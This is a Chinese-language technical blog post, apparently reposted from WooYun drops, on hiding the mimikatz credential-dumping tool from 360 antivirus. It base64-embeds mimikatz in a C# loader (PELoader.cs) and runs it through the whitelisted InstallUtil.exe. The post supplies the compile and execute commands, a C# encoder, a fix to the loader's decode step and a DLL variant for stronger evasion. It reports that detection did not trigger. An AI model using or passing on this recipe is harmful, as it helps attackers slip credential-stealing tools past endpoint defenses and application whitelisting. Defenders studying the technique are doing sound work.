<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/8701

            0x00 前言


            最近subTee在其博客中介紹了如何利用白名單繞過防護,但細節存在bug,所以本文僅介紹如何修復其bug并利用該方法繞過360,更多利用方法值得探索

            博客鏈接:

            http://subt0x10.blogspot.hk/(需翻墻)

            文章地址:

            http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html(需翻墻)

            0x01 測試目標

            下載最新版本Mimikatz,實現繞過殺毒軟件的查殺。

            0x02 測試環境


            操作系統:Win7 x64

            mimikatz版本:2.0 alpha 20150906 (oe.eo) edition(目前為止最新)

            下載鏈接:https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906

            測試日期:9/14/2015

            0x03 實際測試


            建議先了解參考鏈接,鏈接中提到的相關基礎知識不做再次介紹

            1、下載最新mimikatz,測試查殺情況

            毫無疑問,被查殺,如圖

            enter image description here

            2、利用InstallUtil.exe執行程序

            (1)下載https://gist.github.com/subTee/00cdac8990584bd2c2fe并保存為PELoader.cs

            (2)參照博客中的示例,執行如下代碼:

            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
            
            
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
            

            如圖,生成PELoader.exe,然后通過InstallUtil.exe執行PELoader.exe

            enter image description here

            enter image description here

            enter image description here

            成功加載運行mimikatz

            進程顯示為InstallUtil.exe,如圖

            enter image description here

            (3)測試生成的PELoader.exe查殺情況

            如圖,360成功檢測威脅

            enter image description here

            (4)嘗試修改PELoader.cs

            閱讀代碼發現Line853-856存儲了base64加密后的mimikatz

            enter image description here

            那么參照作者給出的修改方法修改

            作者給出的修改方法如下:

            * Base64 Encode Mimikatz In PowerShell-  $fileName = "mimikatz.exe" $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + ".b64")  * 
            [OR] 
            byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64"); sw.Write(AsBase64String); sw.Close();  *
            

            (5)測試Base64 Encode Mimikatz In PowerShell

            按照作者給出的方法對mimikatzbase64編碼并保存在Mimikatz.b64文件中

            如圖

            enter image description here

            執行Powershell代碼

            執行后生成Mimikatz.b64,如圖

            enter image description here

            打開將內容復制到PELoader.cs中的變量KatzCompressed的定義中,如圖

            enter image description here

            按照步驟(2)執行測試,發現錯誤,如圖

            enter image description here

            0x04 分析


            作者給出的實例代碼如果無法修改,未免太雞肋,必須找到修改方法,實現執行任意程序

            0x05 解決方案


            在做了多次實驗并研究代碼后成功找到了錯誤原因:

            Powershellbase64編碼同c#base64解碼之間存在解析錯誤

            解決步驟:

            (1)使用c#對mimikatz作base64加密

            代碼如下:

            using System;
            using System.IO;
            using System.Collections.Generic;
            using System.Linq;
            using System.Text;
            using System.Threading.Tasks;
            
            namespace test1
            {
                class Program
                {
                    static void Main(string[] args)
                    {
                        byte[] AsBytes = File.ReadAllBytes(@"C:\testcs\mimikatz.exe");
                        String AsBase64String = Convert.ToBase64String(AsBytes);
                        StreamWriter sw = new StreamWriter(@"C:\testcs\mimikatz.b64");
                        sw.Write(AsBase64String);
                        sw.Close();
                    }
                }
            }
            

            我使用的環境是vs2012,新建c#工程,填寫以上代碼,編譯后運行,生成新的mimikatz.b64,如圖

            enter image description here

            細心的同學可以發現和之前使用Powershell生成的mimikatz.b64有所區別

            (2)替換變量KatzCompressed的定義內容

            如圖

            enter image description here

            (3)修改解密過程

            定位PELoader.cs Line106,去掉

            byte[] decompressed = Decompress(FromBase64);
            

            在前面添加“//”即可,如圖

            enter image description here

            (4)再次編譯并利用InstallUtil.exe執行

            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
            

            如圖

            enter image description here

            證明修改成功,能夠順利執行我們修改的代碼

            (5)增強免殺

            采用如下生成步驟:

            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library /out:PELoader.dll PELoader.cs
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.dll
            

            如圖

            enter image description here

            也可以成功加載mimikatz

            測試查殺情況

            如圖

            enter image description here

            enter image description here

            enter image description here

            enter image description here

            enter image description here

            enter image description here

            注:測試全過程開啟360,主動防御未觸發

            0x06 小結


            通過InstallUtil.exe執行程序的方法不僅可使程序逃過殺毒軟件的查殺,更能夠規避程序運行白名單的限制,其他操作系統下的情況有所不同,更多細節值得研究。

            參照zone中大家的建議,希望這篇文章是大家喜歡看到的類型:)

            本文由三好學生原創并首發于烏云drops,轉載請注明

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线